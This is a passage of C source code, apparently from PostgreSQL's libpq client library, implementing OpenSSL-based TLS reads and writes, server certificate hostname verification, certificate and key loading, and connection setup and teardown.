n = SSL_read(conn->ssl, ptr, len);
err = SSL_get_error(conn->ssl, n);
switch (err)
{
case SSL_ERROR_NONE:
if (n < 0)
{
/* Not supposed to happen, so we don't translate the msg */
printfPQExpBuffer(&conn->errorMessage,
"SSL_read failed but did not provide error information\n");
/* assume the connection is broken */
result_errno = ECONNRESET;
}
break;
case SSL_ERROR_WANT_READ:
n = 0;
break;
case SSL_ERROR_WANT_WRITE:
/*
* Returning 0 here would cause caller to wait for read-ready,
* which is not correct since what SSL wants is wait for
* write-ready. The former could get us stuck in an infinite
* wait, so don't risk it; busy-loop instead.
*/
goto rloop;
case SSL_ERROR_SYSCALL:
if (n < 0)
{
result_errno = SOCK_ERRNO;
if (result_errno == EPIPE ||
result_errno == ECONNRESET)
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext(
"server closed the connection unexpectedly\n"
"\tThis probably means the server terminated abnormally\n"
"\tbefore or while processing the request.\n"));
else
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL SYSCALL error: %s\n"),
SOCK_STRERROR(result_errno,
sebuf, sizeof(sebuf)));
}
else
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL SYSCALL error: EOF detected\n"));
/* assume the connection is broken */
result_errno = ECONNRESET;
n = -1;
}
break;
case SSL_ERROR_SSL:
{
char *errm = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL error: %s\n"), errm);
SSLerrfree(errm);
/* assume the connection is broken */
result_errno = ECONNRESET;
n = -1;
break;
}
case SSL_ERROR_ZERO_RETURN:
/*
* Per OpenSSL documentation, this error code is only returned
* for a clean connection closure, so we should not report it
* as a server crash.
*/
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL connection has been closed unexpectedly\n"));
result_errno = ECONNRESET;
n = -1;
break;
default:
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("unrecognized SSL error code: %d\n"),
err);
/* assume the connection is broken */
result_errno = ECONNRESET;
n = -1;
break;
}
/* ensure we return the intended errno to caller */
SOCK_ERRNO_SET(result_errno);
return n;
}
/*
* Write data to a secure connection.
*
* On failure, this function is responsible for putting a suitable message
* into conn->errorMessage. The caller must still inspect errno, but only
* to determine whether to continue/retry after error.
*/
ssize_t
pgtls_write(PGconn *conn, const void *ptr, size_t len)
{
ssize_t n;
int result_errno = 0;
char sebuf[256];
int err;
SOCK_ERRNO_SET(0);
n = SSL_write(conn->ssl, ptr, len);
err = SSL_get_error(conn->ssl, n);
switch (err)
{
case SSL_ERROR_NONE:
if (n < 0)
{
/* Not supposed to happen, so we don't translate the msg */
printfPQExpBuffer(&conn->errorMessage,
"SSL_write failed but did not provide error information\n");
/* assume the connection is broken */
result_errno = ECONNRESET;
}
break;
case SSL_ERROR_WANT_READ:
/*
* Returning 0 here causes caller to wait for write-ready,
* which is not really the right thing, but it's the best we
* can do.
*/
n = 0;
break;
case SSL_ERROR_WANT_WRITE:
n = 0;
break;
case SSL_ERROR_SYSCALL:
if (n < 0)
{
result_errno = SOCK_ERRNO;
if (result_errno == EPIPE || result_errno == ECONNRESET)
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext(
"server closed the connection unexpectedly\n"
"\tThis probably means the server terminated abnormally\n"
"\tbefore or while processing the request.\n"));
else
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL SYSCALL error: %s\n"),
SOCK_STRERROR(result_errno,
sebuf, sizeof(sebuf)));
}
else
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL SYSCALL error: EOF detected\n"));
/* assume the connection is broken */
result_errno = ECONNRESET;
n = -1;
}
break;
case SSL_ERROR_SSL:
{
char *errm = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL error: %s\n"), errm);
SSLerrfree(errm);
/* assume the connection is broken */
result_errno = ECONNRESET;
n = -1;
break;
}
case SSL_ERROR_ZERO_RETURN:
/*
* Per OpenSSL documentation, this error code is only returned
* for a clean connection closure, so we should not report it
* as a server crash.
*/
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL connection has been closed unexpectedly\n"));
result_errno = ECONNRESET;
n = -1;
break;
default:
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("unrecognized SSL error code: %d\n"),
err);
/* assume the connection is broken */
result_errno = ECONNRESET;
n = -1;
break;
}
/* ensure we return the intended errno to caller */
SOCK_ERRNO_SET(result_errno);
return n;
}
/* ------------------------------------------------------------ */
/* OpenSSL specific code */
/* ------------------------------------------------------------ */
/*
* Certificate verification callback
*
* This callback allows us to log intermediate problems during
* verification, but there doesn't seem to be a clean way to get
* our PGconn * structure. So we can't log anything!
*
* This callback also allows us to override the default acceptance
* criteria (e.g., accepting self-signed or expired certs), but
* for now we accept the default checks.
*/
static int
verify_cb(int ok, X509_STORE_CTX *ctx)
{
return ok;
}
/*
* Check if a wildcard certificate matches the server hostname.
*
* The rule for this is:
* 1. We only match the '*' character as wildcard
* 2. We match only wildcards at the start of the string
* 3. The '*' character does *not* match '.', meaning that we match only
* a single pathname component.
* 4. We don't support more than one '*' in a single pattern.
*
* This is roughly in line with RFC2818, but contrary to what most browsers
* appear to be implementing (point 3 being the difference)
*
* Matching is always case-insensitive, since DNS is case insensitive.
*/
static int
wildcard_certificate_match(const char *pattern, const char *string)
{
int lenpat = strlen(pattern);
int lenstr = strlen(string);
/* If we don't start with a wildcard, it's not a match (rule 1 & 2) */
if (lenpat < 3 ||
pattern[0] != '*' ||
pattern[1] != '.')
return 0;
if (lenpat > lenstr)
/* If pattern is longer than the string, we can never match */
return 0;
if (pg_strcasecmp(pattern + 1, string + lenstr - lenpat + 1) != 0)
/*
* If string does not end in pattern (minus the wildcard), we don't
* match
*/
return 0;
if (strchr(string, '.') < string + lenstr - lenpat)
/*
* If there is a dot left of where the pattern started to match, we
* don't match (rule 3)
*/
return 0;
/* String ended with pattern, and didn't have a dot before, so we match */
return 1;
}
/*
* Check if a name from a server's certificate matches the peer's hostname.
*
* Returns 1 if the name matches, and 0 if it does not. On error, returns
* -1, and sets the libpq error message.
*
* The name extracted from the certificate is returned in *store_name. The
* caller is responsible for freeing it.
*/
static int
verify_peer_name_matches_certificate_name(PGconn *conn, ASN1_STRING *name_entry,
char **store_name)
{
int len;
char *name;
unsigned char *namedata;
int result;
*store_name = NULL;
/* Should not happen... */
if (name_entry == NULL)
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL certificate's name entry is missing\n"));
return -1;
}
/*
* GEN_DNS can be only IA5String, equivalent to US ASCII.
*
* There is no guarantee the string returned from the certificate is
* NULL-terminated, so make a copy that is.
*/
namedata = ASN1_STRING_data(name_entry);
len = ASN1_STRING_length(name_entry);
name = malloc(len + 1);
if (name == NULL)
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("out of memory\n"));
return -1;
}
memcpy(name, namedata, len);
name[len] = '\0';
/*
* Reject embedded NULLs in certificate common or alternative name to
* prevent attacks like CVE-2009-4034.
*/
if (len != strlen(name))
{
free(name);
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL certificate's name contains embedded null\n"));
return -1;
}
if (pg_strcasecmp(name, conn->pghost) == 0)
{
/* Exact name match */
result = 1;
}
else if (wildcard_certificate_match(name, conn->pghost))
{
/* Matched wildcard name */
result = 1;
}
else
{
result = 0;
}
*store_name = name;
return result;
}
/*
* Verify that the server certificate matches the hostname we connected to.
*
* The certificate's Common Name and Subject Alternative Names are considered.
*/
static bool
verify_peer_name_matches_certificate(PGconn *conn)
{
int names_examined = 0;
bool found_match = false;
bool got_error = false;
char *first_name = NULL;
STACK_OF(GENERAL_NAME) *peer_san;
int i;
int rc;
/*
* If told not to verify the peer name, don't do it. Return true
* indicating that the verification was successful.
*/
if (strcmp(conn->sslmode, "verify-full") != 0)
return true;
/* Check that we have a hostname to compare with. */
if (!(conn->pghost && conn->pghost[0] != '\0'))
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("host name must be specified for a verified SSL connection\n"));
return false;
}
/*
* First, get the Subject Alternative Names (SANs) from the certificate,
* and compare them against the originally given hostname.
*/
peer_san = (STACK_OF(GENERAL_NAME) *)
X509_get_ext_d2i(conn->peer, NID_subject_alt_name, NULL, NULL);
if (peer_san)
{
int san_len = sk_GENERAL_NAME_num(peer_san);
for (i = 0; i < san_len; i++)
{
const GENERAL_NAME *name = sk_GENERAL_NAME_value(peer_san, i);
if (name->type == GEN_DNS)
{
char *alt_name;
names_examined++;
rc = verify_peer_name_matches_certificate_name(conn,
name->d.dNSName,
&alt_name);
if (rc == -1)
got_error = true;
if (rc == 1)
found_match = true;
if (alt_name)
{
if (!first_name)
first_name = alt_name;
else
free(alt_name);
}
}
if (found_match || got_error)
break;
}
sk_GENERAL_NAME_free(peer_san);
}
/*
* If there is no subjectAltName extension of type dNSName, check the
* Common Name.
*
* (Per RFC 2818 and RFC 6125, if the subjectAltName extension of type
* dNSName is present, the CN must be ignored.)
*/
if (names_examined == 0)
{
X509_NAME *subject_name;
subject_name = X509_get_subject_name(conn->peer);
if (subject_name != NULL)
{
int cn_index;
cn_index = X509_NAME_get_index_by_NID(subject_name,
NID_commonName, -1);
if (cn_index >= 0)
{
names_examined++;
rc = verify_peer_name_matches_certificate_name(
conn,
X509_NAME_ENTRY_get_data(
X509_NAME_get_entry(subject_name, cn_index)),
&first_name);
if (rc == -1)
got_error = true;
else if (rc == 1)
found_match = true;
}
}
}
if (!found_match && !got_error)
{
/*
* No match. Include the name from the server certificate in the
* error message, to aid debugging broken configurations. If there
* are multiple names, only print the first one to avoid an overly
* long error message.
*/
if (names_examined > 1)
{
printfPQExpBuffer(&conn->errorMessage,
libpq_ngettext("server certificate for \"%s\" (and %d other name) does not match host name \"%s\"\n",
"server certificate for \"%s\" (and %d other names) does not match host name \"%s\"\n",
names_examined - 1),
first_name, names_examined - 1, conn->pghost);
}
else if (names_examined == 1)
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("server certificate for \"%s\" does not match host name \"%s\"\n"),
first_name, conn->pghost);
}
else
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not get server's hostname from server certificate\n"));
}
}
/* clean up */
if (first_name)
free(first_name);
return found_match && !got_error;
}
#ifdef ENABLE_THREAD_SAFETY
/*
* Callback functions for OpenSSL internal locking
*/
static unsigned long
pq_threadidcallback(void)
{
/*
* This is not standards-compliant. pthread_self() returns pthread_t, and
* shouldn't be cast to unsigned long, but CRYPTO_set_id_callback requires
* it, so we have to do it.
*/
return (unsigned long) pthread_self();
}
static pthread_mutex_t *pq_lockarray;
static void
pq_lockingcallback(int mode, int n, const char *file, int line)
{
if (mode & CRYPTO_LOCK)
{
if (pthread_mutex_lock(&pq_lockarray[n]))
PGTHREAD_ERROR("failed to lock mutex");
}
else
{
if (pthread_mutex_unlock(&pq_lockarray[n]))
PGTHREAD_ERROR("failed to unlock mutex");
}
}
#endif /* ENABLE_THREAD_SAFETY */
/*
* Initialize SSL system, in particular creating the SSL_context object
* that will be shared by all SSL-using connections in this process.
*
* In threadsafe mode, this includes setting up libcrypto callback functions
* to do thread locking.
*
* If the caller has told us (through PQinitOpenSSL) that he's taking care
* of libcrypto, we expect that callbacks are already set, and won't try to
* override it.
*
* The conn parameter is only used to be able to pass back an error
* message - no connection-local setup is made here.
*
* Returns 0 if OK, -1 on failure (with a message in conn->errorMessage).
*/
int
pgtls_init(PGconn *conn)
{
#ifdef ENABLE_THREAD_SAFETY
#ifdef WIN32
/* Also see similar code in fe-connect.c, default_threadlock() */
if (ssl_config_mutex == NULL)
{
while (InterlockedExchange(&win32_ssl_create_mutex, 1) == 1)
/* loop, another thread own the lock */ ;
if (ssl_config_mutex == NULL)
{
if (pthread_mutex_init(&ssl_config_mutex, NULL))
return -1;
}
InterlockedExchange(&win32_ssl_create_mutex, 0);
}
#endif
if (pthread_mutex_lock(&ssl_config_mutex))
return -1;
if (pq_init_crypto_lib)
{
/*
* If necessary, set up an array to hold locks for libcrypto.
* libcrypto will tell us how big to make this array.
*/
if (pq_lockarray == NULL)
{
int i;
pq_lockarray = malloc(sizeof(pthread_mutex_t) * CRYPTO_num_locks());
if (!pq_lockarray)
{
pthread_mutex_unlock(&ssl_config_mutex);
return -1;
}
for (i = 0; i < CRYPTO_num_locks(); i++)
{
if (pthread_mutex_init(&pq_lockarray[i], NULL))
{
free(pq_lockarray);
pq_lockarray = NULL;
pthread_mutex_unlock(&ssl_config_mutex);
return -1;
}
}
}
if (ssl_open_connections++ == 0)
{
/* These are only required for threaded libcrypto applications */
CRYPTO_set_id_callback(pq_threadidcallback);
CRYPTO_set_locking_callback(pq_lockingcallback);
}
}
#endif /* ENABLE_THREAD_SAFETY */
if (!SSL_context)
{
if (pq_init_ssl_lib)
{
#if SSLEAY_VERSION_NUMBER >= 0x00907000L
OPENSSL_config(NULL);
#endif
SSL_library_init();
SSL_load_error_strings();
}
/*
* We use SSLv23_method() because it can negotiate use of the highest
* mutually supported protocol version, while alternatives like
* TLSv1_2_method() permit only one specific version. Note that we
* don't actually allow SSL v2 or v3, only TLS protocols (see below).
*/
SSL_context = SSL_CTX_new(SSLv23_method());
if (!SSL_context)
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not create SSL context: %s\n"),
err);
SSLerrfree(err);
#ifdef ENABLE_THREAD_SAFETY
pthread_mutex_unlock(&ssl_config_mutex);
#endif
return -1;
}
/* Disable old protocol versions */
SSL_CTX_set_options(SSL_context, SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3);
/*
* Disable OpenSSL's moving-write-buffer sanity check, because it
* causes unnecessary failures in nonblocking send cases.
*/
SSL_CTX_set_mode(SSL_context, SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER);
}
#ifdef ENABLE_THREAD_SAFETY
pthread_mutex_unlock(&ssl_config_mutex);
#endif
return 0;
}
/*
* This function is needed because if the libpq library is unloaded
* from the application, the callback functions will no longer exist when
* libcrypto is used by other parts of the system. For this reason,
* we unregister the callback functions when the last libpq
* connection is closed. (The same would apply for OpenSSL callbacks
* if we had any.)
*
* Callbacks are only set when we're compiled in threadsafe mode, so
* we only need to remove them in this case.
*/
static void
destroy_ssl_system(void)
{
#ifdef ENABLE_THREAD_SAFETY
/* Mutex is created in initialize_ssl_system() */
if (pthread_mutex_lock(&ssl_config_mutex))
return;
if (pq_init_crypto_lib && ssl_open_connections > 0)
--ssl_open_connections;
if (pq_init_crypto_lib && ssl_open_connections == 0)
{
/* No connections left, unregister libcrypto callbacks */
CRYPTO_set_locking_callback(NULL);
CRYPTO_set_id_callback(NULL);
/*
* We don't free the lock array or the SSL_context. If we get another
* connection in this process, we will just re-use them with the
* existing mutexes.
*
* This means we leak a little memory on repeated load/unload of the
* library.
*/
}
pthread_mutex_unlock(&ssl_config_mutex);
#endif
}
/*
* Initialize (potentially) per-connection SSL data, namely the
* client certificate, private key, and trusted CA certs.
*
* conn->ssl must already be created. It receives the connection's client
* certificate and private key. Note however that certificates also get
* loaded into the SSL_context object, and are therefore accessible to all
* connections in this process. This should be OK as long as there aren't
* any hash collisions among the certs.
*
* Returns 0 if OK, -1 on failure (with a message in conn->errorMessage).
*/
static int
initialize_SSL(PGconn *conn)
{
struct stat buf;
char homedir[MAXPGPATH];
char fnbuf[MAXPGPATH];
char sebuf[256];
bool have_homedir;
bool have_cert;
EVP_PKEY *pkey = NULL;
/*
* We'll need the home directory if any of the relevant parameters are
* defaulted. If pqGetHomeDirectory fails, act as though none of the
* files could be found.
*/
if (!(conn->sslcert && strlen(conn->sslcert) > 0) ||
!(conn->sslkey && strlen(conn->sslkey) > 0) ||
!(conn->sslrootcert && strlen(conn->sslrootcert) > 0) ||
!(conn->sslcrl && strlen(conn->sslcrl) > 0))
have_homedir = pqGetHomeDirectory(homedir, sizeof(homedir));
else /* won't need it */
have_homedir = false;
/* Read the client certificate file */
if (conn->sslcert && strlen(conn->sslcert) > 0)
strncpy(fnbuf, conn->sslcert, sizeof(fnbuf));
else if (have_homedir)
snprintf(fnbuf, sizeof(fnbuf), "%s/%s", homedir, USER_CERT_FILE);
else
fnbuf[0] = '\0';
if (fnbuf[0] == '\0')
{
/* no home directory, proceed without a client cert */
have_cert = false;
}
else if (stat(fnbuf, &buf) != 0)
{
/*
* If file is not present, just go on without a client cert; server
* might or might not accept the connection. Any other error,
* however, is grounds for complaint.
*/
if (errno != ENOENT && errno != ENOTDIR)
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not open certificate file \"%s\": %s\n"),
fnbuf, pqStrerror(errno, sebuf, sizeof(sebuf)));
return -1;
}
have_cert = false;
}
else
{
/*
* Cert file exists, so load it. Since OpenSSL doesn't provide the
* equivalent of "SSL_use_certificate_chain_file", we actually have to
* load the file twice. The first call loads any extra certs after
* the first one into chain-cert storage associated with the
* SSL_context. The second call loads the first cert (only) into the
* SSL object, where it will be correctly paired with the private key
* we load below. We do it this way so that each connection
* understands which subject cert to present, in case different
* sslcert settings are used for different connections in the same
* process.
*
* NOTE: This function may also modify our SSL_context and therefore
* we have to lock around this call and any places where we use the
* SSL_context struct.
*/
#ifdef ENABLE_THREAD_SAFETY
int rc;
if ((rc = pthread_mutex_lock(&ssl_config_mutex)))
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not acquire mutex: %s\n"), strerror(rc));
return -1;
}
#endif
if (SSL_CTX_use_certificate_chain_file(SSL_context, fnbuf) != 1)
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not read certificate file \"%s\": %s\n"),
fnbuf, err);
SSLerrfree(err);
#ifdef ENABLE_THREAD_SAFETY
pthread_mutex_unlock(&ssl_config_mutex);
#endif
return -1;
}
if (SSL_use_certificate_file(conn->ssl, fnbuf, SSL_FILETYPE_PEM) != 1)
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not read certificate file \"%s\": %s\n"),
fnbuf, err);
SSLerrfree(err);
#ifdef ENABLE_THREAD_SAFETY
pthread_mutex_unlock(&ssl_config_mutex);
#endif
return -1;
}
/* need to load the associated private key, too */
have_cert = true;
#ifdef ENABLE_THREAD_SAFETY
pthread_mutex_unlock(&ssl_config_mutex);
#endif
}
/*
* Read the SSL key. If a key is specified, treat it as an engine:key
* combination if there is colon present - we don't support files with
* colon in the name. The exception is if the second character is a colon,
* in which case it can be a Windows filename with drive specification.
*/
if (have_cert && conn->sslkey && strlen(conn->sslkey) > 0)
{
#ifdef USE_SSL_ENGINE
if (strchr(conn->sslkey, ':')
#ifdef WIN32
&& conn->sslkey[1] != ':'
#endif
)
{
/* Colon, but not in second character, treat as engine:key */
char *engine_str = strdup(conn->sslkey);
char *engine_colon;
if (engine_str == NULL)
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("out of memory\n"));
return -1;
}
/* cannot return NULL because we already checked before strdup */
engine_colon = strchr(engine_str, ':');
*engine_colon = '\0'; /* engine_str now has engine name */
engine_colon++; /* engine_colon now has key name */
conn->engine = ENGINE_by_id(engine_str);
if (conn->engine == NULL)
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not load SSL engine \"%s\": %s\n"),
engine_str, err);
SSLerrfree(err);
free(engine_str);
return -1;
}
if (ENGINE_init(conn->engine) == 0)
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not initialize SSL engine \"%s\": %s\n"),
engine_str, err);
SSLerrfree(err);
ENGINE_free(conn->engine);
conn->engine = NULL;
free(engine_str);
return -1;
}
pkey = ENGINE_load_private_key(conn->engine, engine_colon,
NULL, NULL);
if (pkey == NULL)
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not read private SSL key \"%s\" from engine \"%s\": %s\n"),
engine_colon, engine_str, err);
SSLerrfree(err);
ENGINE_finish(conn->engine);
ENGINE_free(conn->engine);
conn->engine = NULL;
free(engine_str);
return -1;
}
if (SSL_use_PrivateKey(conn->ssl, pkey) != 1)
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not load private SSL key \"%s\" from engine \"%s\": %s\n"),
engine_colon, engine_str, err);
SSLerrfree(err);
ENGINE_finish(conn->engine);
ENGINE_free(conn->engine);
conn->engine = NULL;
free(engine_str);
return -1;
}
free(engine_str);
fnbuf[0] = '\0'; /* indicate we're not going to load from a
* file */
}
else
#endif /* USE_SSL_ENGINE */
{
/* PGSSLKEY is not an engine, treat it as a filename */
strncpy(fnbuf, conn->sslkey, sizeof(fnbuf));
}
}
else if (have_homedir)
{
/* No PGSSLKEY specified, load default file */
snprintf(fnbuf, sizeof(fnbuf), "%s/%s", homedir, USER_KEY_FILE);
}
else
fnbuf[0] = '\0';
if (have_cert && fnbuf[0] != '\0')
{
/* read the client key from file */
if (stat(fnbuf, &buf) != 0)
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("certificate present, but not private key file \"%s\"\n"),
fnbuf);
return -1;
}
#ifndef WIN32
if (!S_ISREG(buf.st_mode) || buf.st_mode & (S_IRWXG | S_IRWXO))
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("private key file \"%s\" has group or world access; permissions should be u=rw (0600) or less\n"),
fnbuf);
return -1;
}
#endif
if (SSL_use_PrivateKey_file(conn->ssl, fnbuf, SSL_FILETYPE_PEM) != 1)
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not load private key file \"%s\": %s\n"),
fnbuf, err);
SSLerrfree(err);
return -1;
}
}
/* verify that the cert and key go together */
if (have_cert &&
SSL_check_private_key(conn->ssl) != 1)
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("certificate does not match private key file \"%s\": %s\n"),
fnbuf, err);
SSLerrfree(err);
return -1;
}
/*
* If the root cert file exists, load it so we can perform certificate
* verification. If sslmode is "verify-full" we will also do further
* verification after the connection has been completed.
*/
if (conn->sslrootcert && strlen(conn->sslrootcert) > 0)
strncpy(fnbuf, conn->sslrootcert, sizeof(fnbuf));
else if (have_homedir)
snprintf(fnbuf, sizeof(fnbuf), "%s/%s", homedir, ROOT_CERT_FILE);
else
fnbuf[0] = '\0';
if (fnbuf[0] != '\0' &&
stat(fnbuf, &buf) == 0)
{
X509_STORE *cvstore;
#ifdef ENABLE_THREAD_SAFETY
int rc;
if ((rc = pthread_mutex_lock(&ssl_config_mutex)))
{
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not acquire mutex: %s\n"), strerror(rc));
return -1;
}
#endif
if (SSL_CTX_load_verify_locations(SSL_context, fnbuf, NULL) != 1)
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not read root certificate file \"%s\": %s\n"),
fnbuf, err);
SSLerrfree(err);
#ifdef ENABLE_THREAD_SAFETY
pthread_mutex_unlock(&ssl_config_mutex);
#endif
return -1;
}
if ((cvstore = SSL_CTX_get_cert_store(SSL_context)) != NULL)
{
if (conn->sslcrl && strlen(conn->sslcrl) > 0)
strncpy(fnbuf, conn->sslcrl, sizeof(fnbuf));
else if (have_homedir)
snprintf(fnbuf, sizeof(fnbuf), "%s/%s", homedir, ROOT_CRL_FILE);
else
fnbuf[0] = '\0';
/* Set the flags to check against the complete CRL chain */
if (fnbuf[0] != '\0' &&
X509_STORE_load_locations(cvstore, fnbuf, NULL) == 1)
{
/* OpenSSL 0.96 does not support X509_V_FLAG_CRL_CHECK */
#ifdef X509_V_FLAG_CRL_CHECK
X509_STORE_set_flags(cvstore,
X509_V_FLAG_CRL_CHECK | X509_V_FLAG_CRL_CHECK_ALL);
#else
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL library does not support CRL certificates (file \"%s\")\n"),
fnbuf);
SSLerrfree(err);
#ifdef ENABLE_THREAD_SAFETY
pthread_mutex_unlock(&ssl_config_mutex);
#endif
return -1;
#endif
}
/* if not found, silently ignore; we do not require CRL */
}
#ifdef ENABLE_THREAD_SAFETY
pthread_mutex_unlock(&ssl_config_mutex);
#endif
SSL_set_verify(conn->ssl, SSL_VERIFY_PEER, verify_cb);
}
else
{
/*
* stat() failed; assume root file doesn't exist. If sslmode is
* verify-ca or verify-full, this is an error. Otherwise, continue
* without performing any server cert verification.
*/
if (conn->sslmode[0] == 'v') /* "verify-ca" or "verify-full" */
{
/*
* The only way to reach here with an empty filename is if
* pqGetHomeDirectory failed. That's a sufficiently unusual case
* that it seems worth having a specialized error message for it.
*/
if (fnbuf[0] == '\0')
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("could not get home directory to locate root certificate file\n"
"Either provide the file or change sslmode to disable server certificate verification.\n"));
else
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("root certificate file \"%s\" does not exist\n"
"Either provide the file or change sslmode to disable server certificate verification.\n"), fnbuf);
return -1;
}
}
/*
* If the OpenSSL version used supports it (from 1.0.0 on) and the user
* requested it, disable SSL compression.
*/
#ifdef SSL_OP_NO_COMPRESSION
if (conn->sslcompression && conn->sslcompression[0] == '0')
{
SSL_set_options(conn->ssl, SSL_OP_NO_COMPRESSION);
}
#endif
return 0;
}
/*
* Attempt to negotiate SSL connection.
*/
static PostgresPollingStatusType
open_client_SSL(PGconn *conn)
{
int r;
r = SSL_connect(conn->ssl);
if (r <= 0)
{
int err = SSL_get_error(conn->ssl, r);
switch (err)
{
case SSL_ERROR_WANT_READ:
return PGRES_POLLING_READING;
case SSL_ERROR_WANT_WRITE:
return PGRES_POLLING_WRITING;
case SSL_ERROR_SYSCALL:
{
char sebuf[256];
if (r == -1)
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL SYSCALL error: %s\n"),
SOCK_STRERROR(SOCK_ERRNO, sebuf, sizeof(sebuf)));
else
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL SYSCALL error: EOF detected\n"));
pgtls_close(conn);
return PGRES_POLLING_FAILED;
}
case SSL_ERROR_SSL:
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("SSL error: %s\n"),
err);
SSLerrfree(err);
pgtls_close(conn);
return PGRES_POLLING_FAILED;
}
default:
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("unrecognized SSL error code: %d\n"),
err);
pgtls_close(conn);
return PGRES_POLLING_FAILED;
}
}
/*
* We already checked the server certificate in initialize_SSL() using
* SSL_CTX_set_verify(), if root.crt exists.
*/
/* get server certificate */
conn->peer = SSL_get_peer_certificate(conn->ssl);
if (conn->peer == NULL)
{
char *err = SSLerrmessage();
printfPQExpBuffer(&conn->errorMessage,
libpq_gettext("certificate could not be obtained: %s\n"),
err);
SSLerrfree(err);
pgtls_close(conn);
return PGRES_POLLING_FAILED;
}
if (!verify_peer_name_matches_certificate(conn))
{
pgtls_close(conn);
return PGRES_POLLING_FAILED;
}
/* SSL handshake is complete */
return PGRES_POLLING_OK;
}
/*
* Close SSL connection.
*/
void
pgtls_close(PGconn *conn)
{
bool destroy_needed = false;
if (conn->ssl)
{
/*
* We can't destroy everything SSL-related here due to the possible
* later calls to OpenSSL routines which may need our thread
* callbacks, so set a flag here and check at the end.
*/
destroy_needed = true;
SSL_shutdown(conn->ssl);
SSL_free(conn->ssl);
conn->ssl = NULL;
conn->ssl_in_use = false;
}
if (conn->peer)
{
X509_free(conn->peer);
conn->peer = NULL;
}
#ifdef USE_SSL_ENGINE
if (conn->engine)
{
ENGINE_finish(conn->engine);
ENGINE_free(conn->engine);
conn->engine = NULL;
}
#endif
/*
* This will remove our SSL locking hooks, if this is the last SSL
* connection, which means we must wait to call it until after all SSL
* calls have been made, otherwise we can end up with a race condition and
* possible deadlocks.
*
* See comments above destroy_ssl_system().
*/
if (destroy_needed)
destroy_ssl_system();
}
/*
* Obtain reason string for last SSL error
*
* Some caution is needed here since ERR_reason_error_string will
* return NULL if it doesn't recognize the error code. We don't
* want to return NULL ever.
*/
static char ssl_nomem[] = "out of memory allocating error description";
#define SSL_ERR_LEN 128
static char *
SSLerrmessage(void)
{
unsigned long errcode;
const char *errreason;
char *errbuf;
errbuf = malloc(SSL_ERR_LEN);
if (!errbuf)
return ssl_nomem;
errcode = ERR_get_error();
if (errcode == 0)
{
snprintf(errbuf, SSL_ERR_LEN, libpq_gettext("no SSL error reported"));
return errbuf;
}
errreason = ERR_reason_error_string(errcode);
if (errreason != NULL)
{
strlcpy(errbuf, errreason, SSL_ERR_LEN);
return errbuf;
}
snprintf(errbuf, SSL_ERR_LEN, libpq_gettext("SSL error code %lu"), errcode);
return errbuf;
}
static void
SSLerrfree(char *buf)
{
if (buf != ssl_nomem)
free(buf);
}
/*
* Return pointer to OpenSSL object.
*/
void *
PQgetssl(PGconn *conn)
{
if (!conn)
return NULL;
return conn->ssl;
}
/*
* Private substitute BIO: this does the sending and receiving using send() and
* recv() instead. This is so that we can enable and disable interrupts
* just while calling recv(). We cannot have interrupts occurring while
* the bulk of openssl runs, because it uses malloc() and possibly other
* non-reentrant libc facilities. We also need to call send() and recv()
* directly so it gets passed through the socket/signals layer on Win32.
*
* These functions are closely modelled on the standard socket BIO in OpenSSL;
* see sock_read() and sock_write() in OpenSSL's crypto/bio/bss_sock.c.
* XXX OpenSSL 1.0.1e considers many more errcodes than just EINTR as reasons
* to retry; do we need to adopt their logic for that?
*/
static bool my_bio_initialized = false;
static BIO_METHOD my_bio_methods;
static int
my_sock_read(BIO *h, char *buf, int size)
{
int res;
int save_errno;
res = pqsecure_raw_read((PGconn *) h->ptr, buf, size);
save_errno = errno;
BIO_clear_retry_flags(h);
if (res < 0)
{
